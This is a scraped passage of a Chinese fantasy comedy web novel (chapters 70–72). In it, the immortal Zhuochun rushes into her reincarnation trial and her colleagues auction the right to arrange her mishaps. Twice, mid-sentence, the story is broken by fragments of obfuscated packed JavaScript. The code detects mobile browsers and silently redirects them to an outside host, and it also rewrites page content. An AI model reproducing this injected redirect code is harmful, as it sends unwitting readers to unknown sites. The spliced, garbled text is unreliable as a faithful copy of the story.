灼春鼓掌鼓得更卖力了：“一针见血夏掌刑！真知灼见夏掌刑！心悦诚服夏掌刑！万世流芳夏掌刑！！” “嘁！瞧她那溜须拍马的小人样！”有人不屑。 林鸿不置可否，只问夏至凛是否已经有了别的办法。 夏至凛没有正面回答，只说自己有个想法，如果掌舵没兴趣考虑，那她也就不提了，浪费时间。 “我刚刚说的，也只是我个人的想法，是没办法中的办法。如果有别的方法，我又何尝愿意看到没必要的牺牲呢？”林鸿说，“好了，大家都平复下心情，坐下好好听夏掌刑的主意——偶仙，来都来了，你也留下吧。” 殿内的局面得到控制后，夏至凛才慢慢说出自己的想法。 灾兽会被法力吸引，以法力为食，吃饱后会沉睡。既然如此，比起用活人，不如用蕴含法力的物件吸引灾兽进深渊。 英理事长抿唇，说出自己的忧虑：“物件能容纳的法力有限，若是与人一同出现，只怕吸引不了灾兽的注意。就算使用法术远程控制物件……以过去的经验，灾兽会顺着法术痕迹找到施术者。最终还是多此一举啊。” 夏至凛看向林鸿身边的人：“所以就得看司库肯不肯合作了。” 灼春和众人一样，随着夏至凛的视线看过去——转着炭笔玩的吉吾停下手势，微微一笑：“夏掌刑的意思？” “司库不是在改进法器‘知易’吗？听闻金钱殿与信仙正在合作出一款名为‘法池’的小型容器，拇指大小的一截就能有——”夏至凛看了一眼灼春，“半位偶仙的法力？” 灼春一愣。 诶？怎么自己突然变成计量单位了？ 吉吾还研究这个呢？ 林鸿撇眼吉吾：“还有这事？” 吉吾闷声不响。 夏至凛神色淡淡：“大概是因为这项研究是根据无俦使用的特殊法器和其自创术法进行的，司库担心引起不必要的误会才没有对外提吧。” 林鸿当即拍案而起，顿了片刻，她才缓缓坐下，算是默认了这份研究。 林鸿深吸一口气，平静：“……继续。” 前提条件说完了，该谈的隐患谈完了，吉吾欣然同意夏至凛的提议后，众人就开始讨论具体的实施。 灼春见自己没有生命危险，便懒怠听那些琐碎的内容。 反正又不会找她实施，听了也是占脑子。 她白了一眼偷摸看她的百捷，哼了一声扭头，靠在椅子上假寐，等着会议结束就找林鸿谈自己休假的事。 “老大老大！” 会议结束，林鸿正留下整理思绪，灼春就逆着众人挤到她身边，笑得分外谄媚。 “又想辞职？”林鸿抬眼瞅她。 “嗐！就算辞职也得先把带薪假休了噻！”灼春厚着脸皮把准备好的资料一份不落地推到林鸿面前，“这是承诺放假书、轮回镜历劫名单、司劫工作日志、仙者渡劫前后能力评估合集……喏，都在这了，没有遗漏！——我可以休假了吧？” 林鸿一目十行地看过，无情地说出“条件未完成”二字。 灼春下意识要问为什么，只是话到嘴边忽然想到可能的原因，立马换了话。 灼春：“如果是新仙者夏侯振川的问题我可以解释！她是新生仙者，保质期很长，短时间内不会到寂心期，所以……” “嗯，新生仙者的情况特殊，而且是后来增加的，不在最初要求的范围内，可以理解。” 林鸿弹出一根手指，晃了晃，直指灼春。 “未完成渡劫的仙者，还有你。” 灼春盯着自己鼻尖前的手指，眼睛不由得夹成斗鸡眼。 “我？？哎老大！怎么……我兼任司劫，难不成我还能自己给自己司劫吗？”灼春没好气，“老大，要是不想给假直说，用不着这样糊弄我。” 林鸿：“之前不是让你开了司劫培训班了吗？你随便找个得意门生帮你司劫不就妥了？规则就是规则，说好要所有仙者都度过一次劫，那就一个不能少。” “……” 灼春想到之前到她场子堵她的那群“学生”，不禁不寒而栗。 从那伙人中挑一个？ 不如重启敢死队计划，临死前她还能做点贡献呢！ 灼春只好想别的借口。 “……不是我不想渡劫嗷，只是我才进过轮回镜不久，寂心期还有好久呢……” 林鸿掐着指头算：“根据记录，距离你上次渡劫也有好些年了，差不多是时候。而且何必非等寂心期？不也有许多仙者不到寂心期就前来渡劫的吗？” 灼春哑口无言。 明知有能力司劫的人都有可能整她，她是吃熊心豹子胆了才敢现在渡劫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116635|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林鸿轻哂：“如果你要老实等自己的寂心期——我当然没意见。甚至你要放弃休假的机会我也同意。” 放弃休假是绝对不可能的。 她能撑到现在全靠想休假的念头。 不就是渡劫么？她还就不信了，大千世界还找不出一个不公报私仇的好人了！ “……告辞！” “等等。”林鸿喊停，“你要是闲着，就去斗武殿慎刑殿帮帮忙，别猫在自己的三寸之地里独善其身。” “……哦。” 灼春自己的事没有丝毫进展，而相睦会诱捕灾兽的法池计划却在稳步进行。 得了林鸿首肯，吉吾与夏侯振川的研究开展得如火如荼，不久后就当真发明出了概念中的“法池”。由战神龙缨挂帅，斗武殿一行仙者顺利利用法池，将灾兽们引入深渊，无人伤亡。此后斗武殿又派专人轮守，防止灾兽出逃造成威胁，若有异动就丢几块法池下去绥靖。 ——这和灼春关系不大。毕竟她又不是斗武殿的人，没有那份职责。 她就奇了怪了，偌大个相睦会，怎么一个百分百牢靠的好仙者都找不到？ 唉！都怪那天杀的灾潮！ 如果没有灾潮，就不会有那么多仙者送命；如果没有那么多仙者送命，相睦会就不会力量不足；如果相睦会没有力量不足，老大就不会让幸存仙者进轮回镜历劫速成；如果不让仙者速成，她就不会被发现司劫天赋被迫兼任司劫，也就不会人缘变那么差，现在也不会有不知道找谁帮自己渡劫的苦恼了！ 唉…… 虽然休假很重要，但比起活着，休假也可以缓一缓了。 按理她寂心期还没到，可以不用那么早纠结，可既然都是迟早的事，不先想好的话，死到临头纠结来纠结去万一做了个最坏的决定呢？ 话虽如此，会内会外的仙者灼春已想了好几轮，但始终没找到合适人选。 若按与他人的过节大小分，大扶疏是个比较好的人选。 可是人家刚痛失好友两名，这种时期还去麻烦人家也太没眼力劲儿了。而且大扶疏精神不济时的状态她见过，万一自己进了轮回镜后，大扶疏一个犯病把自己给忘了呢？ 不好不好…… 没有大过节的其实还有一个夏侯振川，只是……看着就知道不是乐于助人的人。 过了过了…… 既然都不可靠，那就只能矮子里头拔高个了。 单纯论人品，鸣桐是当之无愧的优先选择，但…… 灼春想起鸣桐写过的那些大热虐文，觉得人家耳濡目染，恐怕……自己撑不过去啊…… 想来想去，灼春决定还是找百捷去。 百捷没什么花花肠子，找她司劫尽管无益于自身提升，至少安全有保障。 不料，在斗武殿找到她，灼春连事都没提，人家就说工作忙，抽不出时间。 百捷道：“龙缨说灾兽暴动起来其他人未必压得住，所以我和她必须轮流守在深渊边上以备不测。我现在正要过去换班呢。” 灼春紧张：“那你什么时候换回来？” “不一定——呃等我累了或者龙缨有空了？”百捷连忙补充。 灼春愤愤咬牙：“你……真不担心我还生气呢哈？” 百捷一愣：“生什么气？”她不是都补充换班条件了吗？ 就是这个！！ 灼春气得锤了她一拳扭头就走。 气死了气死了！ 虽然她的确不会把两人的别扭放心上，但百捷那种完全不上心的态度真叫人忍不住生气！ 不找她了！友尽一天！ 瞧着人离去的背影，百捷挠挠头，只觉得莫名其妙。 71.最坏选项 灼春内心挣扎许久，好不容易才下定决心动身生灵殿。然而，别说鸣桐了，连一个看家的动物都没见着。 ——嗷不对！有的！ 灼春听见药库里有什么动静，以为天敌不在，老鼠在胆大妄为，于是轻手轻脚过去看情况——如果是普通老鼠，她当卖鸣桐个人情，直接捉了！如果是什么怪异的老鼠怪兽之类的……那就当自己没来过吧。 走近药库，灼春发现门居然敞开着，药库灯火通明，地上映出走来走去的一个黢黑人影。 难道因为最近会里忙得没空管治安，所以什么小毛贼都跑来碰运气了？ 那还得了！ 灼春立马大喝一声“小贼！举起手来”冲到门口封住去路。 她想，她再怎么弱也是个仙者，抓个普通小毛贼那还不是手拿把掐的碾压？ “嗯？” 那人捧着比自己还高的几大箱子，挡住了面容。 灼春堵住门：“嗯什么嗯！？哪里来的毛贼！偷东西偷到你祖宗家里来了！你受虐狂吗！？” “……灼春？” 那人从几大个箱子后侧出脑袋—— 哦豁，完蛋，林鸿。 林鸿打量着灼春，皱起眉头：“你很闲？没事干了到处瞎逛？” 灼春退缩：“呃……不是……我只是有事来找下鸣桐……” “她到深渊有要事——你自己不务正业就罢了，不要影响别人！”林鸿捧着箱子走出药库，与灼春擦身而过，“既然你没事，那到金钱殿帮吉吾记录数据去！这段时间，连你家那小麻都上深渊轮替去了，你个仙者，打不了仗还干不了杂活么——哎对，临走记得帮我把药库门带上。” “好的……” 既然大领导都吩咐了，那就麻利做事呗。 灼春关上药库门就顺着林鸿的意思到了金钱殿找吉吾报到。 鸣桐去深渊，估计和百捷一样，一时半会儿回不来……不过鸣桐不也不会打架嘛，她去顶什么用？采草药还是给村里的狗看病？ 罢了……可靠的勉强就那么两人，再挑挑不出了……唉，等着吧…… 灼春到了金钱殿才发现，吉吾手下的执司们好似都被调走了，就剩吉吾一人在文件堆里打转。听说灼春是听林鸿的安排过来帮忙的，她不禁乐得笑出声。 灼春问她，她这的人是不是都被安排去深渊了，吉吾否认，说一半是去帮夏侯做研究，其他才是被林鸿临时调走帮忙了。 吉吾反问她是怎么被林鸿安排来这帮忙的，灼春叹了口气，一边做事一边从头到尾讲了一遍，自己找人帮自己司劫不幸遇上林鸿被拉壮丁。 “哦——” 吉吾意味深长地哦着，忽地问她莫不是寂心期到了这么着急找人。 “我是觉得还要好些年才会到啦，但是为了完成休假的条件，不得不提前啊！诶……”灼春叹气。 吉吾将分门别类好的两份文件交给灼春，让她将上面的数字合计校对，自己则把整好的资料搬到另一间屋子。 “……我觉得你找不到人替你司劫，有个很大的原因就是你的事不紧急。” 吉吾拿着个小喷壶，走向灼春的同时各种伸懒腰舒展身体。 “……啊？”正专心校对的灼春被她打断，迷惘抬头。 吉吾说：“你兼任司劫那么久，应该很有经验了呀——提问！两个人都来找你司劫，一个没到寂心期，一个到了寂心期——你的选择是？” 灼春撇撇嘴：“当然是帮正处于寂心期那位啊。可是现在的情况……” “再提问！掌舵突然出现，说分配你一个灾怪让你收服；另一边一个寂心后期都快结束了的仙者匆匆赶来找你司劫——你的选择是？” 灼春略微愣神，迟疑回答：“帮仙者司劫？” “所以！”吉吾合掌一拍，“只要你的事儿够急，屎壳郎都会停下推粪球的工作来帮你。” “……有道理。” 但是那个比喻太奇怪了吧…… 灼春无奈：“那也没办法啊，我确实没有深渊那边事态严重嘛……” 吉吾故作叹息：“欸，我倒是想到个主意兴许有用，不知道你肯不肯试。” 灼春眼前一亮，正要答应，忽地瞥见对方时不时瞄向自己的眼神，瞬间踟蹰了。 吉吾向来无利不起早，回答个问题都要收咨询费。现如今分文不取便送了个办法……指定有诈！说不定想坑她个倾家荡产！回头自己得的好处还不足付出的零头呢！ 灼春讪讪一笑：“算了吧……还是顺其自然，按规矩办事……” “原价一钱，人情价，八十文，最后十秒，十、九、八……” “啊啊！我买！！” 灼春当即掏钱袋付钱。 所有商品加上“限时”两个字，就给人一种强烈的“不买就亏了”的感觉。 吉吾乐呵呵地数好钱放进口袋，亮出手里的小喷壶，介绍道：“这是可以加快寂心期到来时间的喷雾，原价一壶二钱，今天亏本清仓，一壶二十文，先到先得，卖完即止。” “我买！！” “盛惠～” 喷壶到手，灼春上下左右地打量，觉得和浇花用的小喷壶没什么区别。 但她倒并不怀疑吉吾卖假货。 吉吾这人虽然是个视财如命的奸商，但是秉持可持续发展的理念，最重信誉。顶多低买高卖，制假贩假倒不至于。 “这怎么用啊？直接对着自己喷？”灼春晃晃小喷壶问。 “嗯对，对着自己喷，哪里都可以，喷一下就成。”吉吾吹吹铜板，美滋滋贴在耳边听声。 灼春试探性地对着自己胳膊按喷头—— 无事发生？ 灼春低头看了看喷孔，用手指擦了擦，又往自己胳膊喷——还是无事发生。 “吉吾，你这喷壶不出水啊！它坏了！” “这是喷雾嘛！雾气很细很细，所以肉眼看不到的啦～” “……姐妹儿，你该不会真开始玩欺诈了吧？我怎么知道有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122042|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有起效啊？” 这算啥？国王的新喷雾？只有聪明人才看得到？ 吉吾不以为意：“寂心期开始不都有提示的么。” 灼春正要说什么，脑海中忽地响起一道久违的声音——「注意，你的寂心期已开始，尽快进入轮回镜完成渡劫」。 ……真的有效啊？ 灼春激动地指指自己：“真的有效诶！” “那当然了。” 没多久，灼春脑内再度响起另一段声音——「注意，你的寂心期即将结束，请在最后三分钟内进入轮回镜，否则将注销你的仙者身份，倒计时一百八十秒、一百七十九秒、一百七十八秒……」 “嗯！？吉吉吉吾？？不对劲儿啊它怎么提示我寂心期快结束了！？我只有不到三分钟的时间了！？” 灼春疯狂戳着自己脑袋，质问吉吾。 吉吾一怔：“难道你刚喷了不止一下？” “……” 「……一百四十七秒、一百四十六秒……」 反应过来的灼春嗷嗷乱叫，立马捉着吉吾的手要她和自己回情理所。 灼春慌张：“没得选了！吉吾姐帮我司劫吧！快快快！就剩差不多两分钟了！！！” 吉吾悠悠地撇开视线：“不好意思我还有好多金粪球要推。” 吉吾扫了一眼惊愕到失语的灼春，快速叨叨：“百捷守在深渊，鸣桐在深渊研究灾兽生态，会里目前除了我们就只有掌舵，掌舵行踪不定，若去深渊，来回最快一刻钟。” 「……一百零三秒、一百零二秒……」 灼春倒吸一口冷气，破罐破摔道：“好好好我答应你！什么条件都答应！先帮我司劫！一切都好说！！” 吉吾立马拿出一份卷轴。 吉吾：“瞬移卷轴，有价无市，一千两。” 灼春喊了声“买”立刻抢过卷轴，几乎同时，她与吉吾一道被传送至情理所。 「……八十八秒、八十七秒……」 倒数倒数！倒数你大爷的！最讨厌倒计时了！！这不逼着人匆忙做决定嘛！ 倒计时跟催命符一样在灼春脑子里回响，每响一下都是对她精神的一次巨大冲击。 灼春三步并作两步拉着吉吾到轮回镜旁，从边上扒拉出一块灵盘交给吉吾，并嘱托许多司劫的注意事项。 「……十秒、九秒……」 灼春脑内咕嘟咕嘟煮粥似的混乱，她急得管不得那许多，直接放弃未完的叮嘱。 “……总之差不多就是这样！只要保证我活着出来其他无所谓！吉吾姐我先冲，剩下交给你了！” 吉吾让她放心：“拿人钱财替人消灾，放心，我一定做到皆大欢喜。” 灼春心情复杂地和被迫绑定的队友重重握了三下手，卡在倒数结束前跳进轮回镜。 镜面缓缓浮现灼春的影像后，吉吾不紧不慢地走上前，哼着小调儿把时间流速调整到最慢，继而放上灼春给她的灵盘。 小丫头，可算被她逮到了吧。 72.赏春宴 “春丫头！别待树上了！下来烧火做饭！” 阿春娘从篱笆边探出半个身子，挥挥手中的铁勺，招呼坐在路边树上的女童下来帮厨。 阿春哎了一声便利索地下树，蹭蹭蹭跑回家。 阿春娘切着菜，头也不抬地让女儿去院子里搬柴烧火。阿春乖乖照做，但在灶孔扔柴火时，忍不住想和母亲说话。 阿春：“娘，你觉不觉得日子很无聊啊？” “无聊个头！小小年纪懂什么叫无聊？你就是闲得！”阿春娘不以为意，指了指地上的菜盆，“添完柴去院子里拔两颗白菜扒了洗了。” 阿春抱着菜盆走出去，放大嗓门：“我不闲啊娘！虽然你觉得我成天闲，但我心里一直在想事儿，比如……你看，咱们活着就是吃了干活，干完活吃，吃饱了就睡，睡醒了再吃再干活，每天都是重复的，很没意思的！” “你再给老娘鬼扯就不给你吃饭！结结实实饿上你几顿就老实了！” 阿春娘臭骂着，将烂菜根砸向女儿脚边。阿春吓了一跳，有眼力见地闭嘴扒菜。 ——“好消息好消息！家人们！家人们！灼春长成了！长成了！” 吉吾站在会场前方的讲台后，激动地挥起双手告知大家这个好消息。 在她的身边，也就是舞台正中，一面显示着高清画面的轮回镜稳稳立着。台下一人一桌，坐满了整个会场，均是仙者。当他们听到吉吾发布的消息，各个激动得脸红脖子粗，满腔热情溢于言表。 “那还等什么！赶紧的吧！快开始！都等多久了！” 仙者们一跃而起纷纷附和。 “好好好……” 吉吾安抚着在场诸位的情绪，同时当空画了个法阵取出一块三人高的大长板，上首赫然浮着四个光点汇聚的硕大字符——“竞拍名录”。名录下整整齐齐排列着一条条细项，如“喝水呛着一次权”、“平地摔一次权”、“不小心咬着自己舌头一次权”……越往下复杂度越高、自由度越高，从“一次权”进化到“一日权”再进化到“一事权”，直至最底下一条，直接明说“万能操纵权”。 “我重申一下啊，本次赏春宴将陆续竞拍十场，除最后一项‘万能操纵权’为最后一场单次竞拍，其余项，开场时竞拍一次，观摩轮回镜时追加竞拍若干次，次数视情况而定。” 吉吾变出一根教棍，拍拍班子板，指着最上方的“喝水呛着一次权”说道：“现在开始‘赏春宴’第一次竞拍，第一项，‘喝水呛着一次权’，三文钱起拍，增幅一文钱，预备——走起！” “三文！” “四文！” “四文！叫价四文了！有没有比四文高的？四文一次、四文两次、四文三次成交！恭喜乔江山小乔执司获得‘喝水呛着一次权’！小乔执司，请在下一场拍卖前及时使用！” 竞拍在有条不紊地进行，与火热的现场形成对比，舞台中央轮回镜中的小孩灼春依然在吐槽着并过着自己平平无奇的平凡日常，殊不知此刻她念叨着的生活正是她日后求而不得的安宁。 坐在会场最外围的战神龙缨，见此情状不由得抱臂摇头。 之前吉吾广发赏春宴邀请函，她还以为是金钱殿为了宽慰大家对抗灾兽的辛勤付出，特意设宴犒劳，所以就没纠结夏天都快结束了，怎么还弄个“赏春宴”。 结果，此“春”非彼“春”啊。 怪不得呢…… 月前某日，深渊灾兽吃饱喝足开始自我分裂，部分幼年体趁机逃窜，危害百姓。向来被动听从掌舵工作安排的司库吉吾忽地展现出极强的主观能动性，发动各地员工积极诱捕幼年体灾兽，近乎狂热地团结所有研究人员研究灾兽——最后其一个据说曾在相睦会工作过的私产基层员工发现了击败灾兽的线索，即只有毫无法力的普通凡人才能对灾兽造成伤害，但因为力量差距，这点伤害可以忽略不计。 不过，从这一条做延展研究，大家终于发现，只要不含法力的事物就能对灾兽造成伤害——然而这个条件极为苛刻，修习法术之人只要碰触、驱动物什，物什就会沾染法术，最后被灾兽无视。 还是那个基层员工，在村庄联合凡人村民村狗反抗灾兽时，她又发现，修习不了法术的动物也可以起到攻击作用。 喜从天降啊！ 动物的攻击力可比毫无法术的凡人强得多，而且“动物”这一定义的范围很广，小到蚂蚁，大到龟鉴岛的吞天巨兽，都是有效动物啊！ ——但是从哪儿去找能供人驱使的高破坏力的动物呢？ 于是，鸣桐带着她那一生灵殿的神奇宠物们上前线了。 这支队伍强啊，动物们又能打又听话，甚至有些人类做不到的战斗阵型都能听从指令完美做到。而且，一旦动物受伤，鸣桐当场就给治好了，进可攻退可守，不出半个月，战斗结束，甚至没有一只动物伤亡。 一场惊天地泣鬼神的灾难便这样消弭于无形。 鸣桐及其伙伴们大获全胜，吉吾却比任何人都高兴，恨不得替掌舵吹吹打打告知全世界战争结束了世界和平了。 直到赏春宴开始，她们这些人才知道吉吾为何那样。 龙缨低声自语：“如此大张旗鼓地将司劫做成生意，难道不怕掌舵怪罪么……” 事实上，到第三场竞拍，林鸿也参与到现场，还竞标了“刚洗完头就被鸟屎砸到一次权”并成功使用，临走时仅仅嘱咐一句“不要玩物丧志耽误本职工作”便离开了。 整场“赏春宴”共持续了十年之久，每位仙者，无论会内会外，都完整观看了偶仙灼春在轮回镜中的历劫，甚至几乎每一位都参与了使绊——设置劫数。 多么感天动地又团结的同僚情谊啊！ 但，也只是“几乎”。 因为，有三位仙者，在前九场竞拍会从未竞标过一项。 兽医仙兼斗兽仙鸣桐、战神龙缨、厨神扶疏。 第十场拍卖即将结束，吉吾隐约猜到这三人想干什么了。 十场拍卖次次到，但次次不参与，眼瞅着灼春的历劫都快结束了，她们总不可能只是旁观吧？ 扶疏怎么样她不清楚，但是鸣桐和龙缨，与灼春可是有司劫之仇的，怎么可能一点反击的心思都没有？想必小打小闹的标的她们看不上，看中的就是最后一项“万能操纵权”。 竞拍名录上的内容已经叫完，最后一项内容终于摆上台面。 吉吾喊：“万众瞩目的最后一项拍品来了！请看——‘万能操纵权’！五十两起拍，增幅十两！” 起拍价和增幅价一出，会场所有的人不约而同地倒吸一口冷气。 跟之前的竞价比起来，“万能操纵权”的价格高了千倍不止，而且增量也夸张，实在超出预计承受范围。 代表开始的锤子一敲，龙缨的竞价牌便第一次在会场举起，未等吉吾喊出价，扶疏就紧接着亮牌，而鸣桐的牌子紧随其后。 哦豁，果然。 吉吾喊完价环视全场，除了十场以来第一次参与竞拍的那三位，所有人都面露难色，想拍又不敢拍的样子。 如她所料。 十场下来，积少成多，大部分仙者因为图便宜，兜里的钱都被掏得差不多了，以至于到最后的时刻，连上场举牌的资格都没有。 龙缨鸣桐和扶疏应该就是怕出现这个情况，所以前面才一次都不敢竞拍吧？ 可惜…… “嗷！！” 前排的百捷一声哀嚎喊得所有人一哆嗦。 “注意点。”凤脊捂着耳朵皱眉，踹了她一屁股。 百捷将空空如也的钱袋倒翻过来抖落，一个子都看不见后就呼天抢地地哭嚎，说什么“春我对不住你啊前头花钱花得太起劲儿忘了留后手了现在我保不住你了啊”云云。 全场除了百捷嗥叫就只剩诡异的沉默。 ——“好”姐妹嚯。 “噔噔噔！”吉吾敲了三下锤以示肃静，“安静啊！再扰乱会场秩序就架出去了嗷！” 竞价还在继续，而且比众人预想得要漫长，增幅也跟着变了好几档，十两二十两三十两，现在已经到了一百两。本来事不关己的诸位，在随着竞价越喊越高，渐渐地也生出认同感，心不由主地期待起了最后的胜利者。 是首屈一指的酒楼主厨会胜利，还是好歹是个大夫的兽医仙会胜利？又或者，战场上战无不胜的战神在竞拍场上也会继续自己的神话？ ——“龙缨一千三百两！扶疏一千四百两！鸣桐一千五百两！哎扶疏一千六百两！鸣桐一千七百两了！……” 人呐，各有能各有不能，鱼和熊掌怎么可能兼得。 暗中支持战神的人遗憾地发现，龙缨退赛了。 不过也合理，对手毕竟是医生和厨子，两相对比，战神都只是个会打架的无产阶级罢了。 大夫和厨子，两个都是凭技术吃饭 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“鸣桐，这是我的十八两！”小乔执司走到鸣桐身前，交出自己的钱袋。 “谢……” “兽医仙，还有我的二十两！” “这是我的十一两！” 鸣桐没说完一句谢谢，就有无数仙者涌过来把自己剩下的全部家当贴给她，鸣桐茫然地收下，都忘了还有拒绝的选项。 “你们这是……” 鸣桐看着手里堆成山的五颜六色的钱袋，止不住热泪盈眶。 “鸣桐啊，这是我的全副身家，不要输啊。”百捷拍拍鸣桐的肩，摊手递出自己的一份心。 “谢谢……呃，你的一文钱……” 鸣桐接过百捷手里几乎被黑泥糊满的一文钱，心酸不已。 吉吾在上方默默看着大家给鸣桐筹钱的温馨一幕，百感交集。 意料之外啊…… 可恶！早知道就开个赌盘了！一定赚很多！ 汇聚了众人的金钱力量后，鸣桐气粗胆壮，凛凛地高举叫号牌，气势熏染下，金钱殿批量生产的叫号牌都发出了正义的耀眼光芒。 有这么多人支持她，她不会输！ 众人仰视着鸣桐高举的叫号牌，庄严肃穆。 是的，他们不会输！ 绝不会输给万恶的资本家！！ “鸣桐，三千二百两。” 吉吾叫得没那么精神了。 想到没开赌盘输了好多钱，她就心疼得心脏滋儿滋儿的。 扶疏瞅了一眼莫名其妙拧成团的无名团体，继续举牌。 吉吾：“扶疏，三千三百两！” 鸣桐举牌。 吉吾：“鸣桐，三千四百两！” 扶疏举牌。 吉吾：“扶疏，三千五百两！” 全场倒吸一口冷气，扶疏的牌子没能再举起来。 “……”吉吾微哂。 啥啊…… 气氛抬那么高，最后就只聚了五百两呗？ 吉吾：“没人叫了吗？三千五百两一次？” 所有人捏着拳头面面相觑。 “三千五百两，两次？” 众人惴惴不安地紧盯着吉吾扬起的小锤子。 “三千五百两……” “五千两！” 没等来定音一锤，等来了越了好几个级的叫价。 众人的视线汇集发生的一处——吉吾一手拿着小锤子，一手高举从未出现的号码牌，淡定地喊出高额数目，同时，她又飞快地主持。 “还有人跟吗五千两第一次五千两第二次五千两第三次成交！” ——“嗒！” 趁着所有人没有反应过来，吉吾一锤定音，自己买下了最后一项标的物。 “……” ……什么玩意儿？自买自卖？ 这不就是从自己左手换到自己右手吗？ 所有人闷闷不乐地坐下，但没有人异议。 尽管吉吾这事儿做得不地道，可确实喊了个所有人都出不起的价。 失策了，光顾着抗争开酒楼的那个资本家，忘了台上还有一个独步天下的超级资本家了。 大家回想起自己刚刚的热血，突然有种“愚蠢！！”的自我评判。